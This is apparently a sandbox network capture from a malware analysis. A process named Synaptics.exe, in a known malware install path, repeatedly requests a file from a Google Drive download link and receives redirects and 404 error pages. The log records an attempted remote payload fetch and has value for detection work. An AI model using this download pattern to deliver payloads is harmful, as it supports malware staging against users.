2024-07-02 04:51:39 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-RQ1zJBJxkAf1dCxGbSBkZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49798	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:40 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:40 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:40 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-EbkfP9u4Vq-yZpzq-_Djkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: ACJd0NqwFDaLaxx8FYHMbgw3yLH-fhoxE4VV52E8qaOeg23FPcMAyA4qhOzPl4IXBd2dVYn2Bg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:40 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-07-02 04:51:40 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 5f 57 46 2d 37 53 74 54 64 61 67 64 4c 67 64 46 75 74 79 31 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="X_WF-7StTdagdLgdFuty1Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:40 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49799	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:40 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HvzWJTZ_vdP5fMetGYLmFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49800	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:40 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:40 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:40 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-eY94xt3BZCEdHZyJSp9JZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0No98RWlRzMRK5gED_7lbzunIEd50U9VvzwSMd5t4L7G7nbKyjn0DBsl5mJdNnsy_lIXfNU Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:40 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:40 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 50 32 63 38 47 6f 4a 49 58 5a 36 30 33 39 4c 52 70 37 38 4e 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="qP2c8GoJIXZ6039LRp78Ng">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:40 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49801	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:40 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-ubPLRs2XmS9CBHtPwzp6aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49804	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:41 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-sUQfkbDzKddsn9bxN5yeBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49805	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:41 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M
2024-07-02 04:51:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-oKWoVdBnpCgvWaU5VrYMLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49806	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:41 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:42 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:41 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-rEvFjCO2FNKLGjtGY8Y6bA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0Nrld67_aAVtJz1_Du_CPnw3HIVAcGhSRnIqlt1VJ65LklsGTDcbQfahkTIF6ioebjd1CEcbsqzNeA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:42 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:42 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 65 30 4f 4b 31 67 58 69 43 57 6e 61 37 45 52 49 59 4d 74 64 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="6e0OK1gXiCWna7ERIYMtdQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:42 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49807	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:41 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:42 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:41 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2Jz4d6Qt33HPueKfi6qztg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0NpQpOQG7CGhN3_ya49SG2rth0th2_-kgzTl8jZK-mW9b4YzoaHDQWnw6USWSglYd6iLgS5x2kIgaQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
